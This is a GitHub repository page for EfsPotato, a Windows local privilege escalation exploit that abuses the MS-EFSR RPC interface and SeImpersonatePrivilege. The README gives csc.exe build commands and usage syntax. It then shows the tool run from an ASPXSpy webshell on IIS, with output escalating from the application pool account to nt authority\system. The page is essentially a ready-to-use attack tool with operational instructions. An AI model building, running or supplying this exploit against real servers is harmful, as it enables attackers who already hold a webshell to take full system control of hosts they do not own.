




 zcgonvh / EfsPotato Public

 Notifications

 Fork 120

 Star 722

<> Code

🔗 Issues

🔗 Pull requests

🔄 Actions

📁 Projects

🛡 Security


📈 Insights

 master ▼

🔍 Go to file

<> Code ▼

 zcgonvh	csc compatibility	0474c9f · last year	🕒 10 Commits
 EfsPotato.cs	csc compatibility	last year	
 README.md	Update README.md	3 years ago	
 test.png	init	3 years ago	

 README ☰

# Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SelmpersonatePrivilege local privilege escalation vulnerability).

## build

```
#for 4.x
csc.exe EfsPotato.cs -nowarn:1691,618
csc /platform:x86 EfsPotato.cs -nowarn:1691,618

#for 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs -nowarn
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPot
```

## usage

```
usage: EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
```

180localhost Host Trust Level: Full IsFull-Trust: True User: IIS APPPOOLDefaultAppPool WebShell Ver. ASPXSpy2014

Logout | File Manager | FileSearch | CmdShell | IIS Spy | Process | Services | Userinfo | Sysinfo | RegShell | PortScan | DataBase | PortMap | WmiTools | ADSViewer | PluginLoader Framework Ver : 2.0.50727.8806

2008R2

Execute Command >>

CmdPath: C:\inetpub\wwwroot\EfsPotato.exe

Argument: whoami 

Submit

Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SelmpersonatePrivilege local privilege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh.

[+] Current user: IIS APPPOOLDefaultAppPool  
[!]binding ok (handle=512640)  
[+] Get Token: 600  
[!] process with pid: 2992 created.  
=====

nt authority\system

180localhost Host Trust Level: Full IsFull-Trust: True User: IIS APPPOOLDefaultAppPool WebShell Ver. ASPXSpy2014

Logout | File Manager | FileSearch | CmdShell | IIS Spy | Process | Services | Userinfo | Sysinfo | RegShell | PortScan | DataBase | PortMap | WmiTools | ADSViewer | PluginLoader Framework Ver : 4.0.30319.42000

2019

Execute Command >>

CmdPath: C:\inetpub\wwwroot\efspotato

Argument: whoami 

Submit

Exploit for PipePotato(MS-EFSR EfsRpcOpenFileRaw with SelmpersonatePrivilege local privilege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh.

[+] Current user: IIS APPPOOLDefaultAppPool  
[!]binding ok (handle=121b3a0)  
[+] Get Token: 888  
[!] process with pid: 7464 created.  
=====

nt authority\system

## About

Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SelmpersonatePrivilege local privilege escalation vulnerability).

 Readme

 Activity

☆ 722 stars

👁 9 watching

🔗 120 forks

Report repository

## Releases

No releases published

## Packages

No packages published

## Contributors 3

-  zcgonvh zcgonvh
-  xassiz Pablo
-  BeichenDream beichen

## Languages



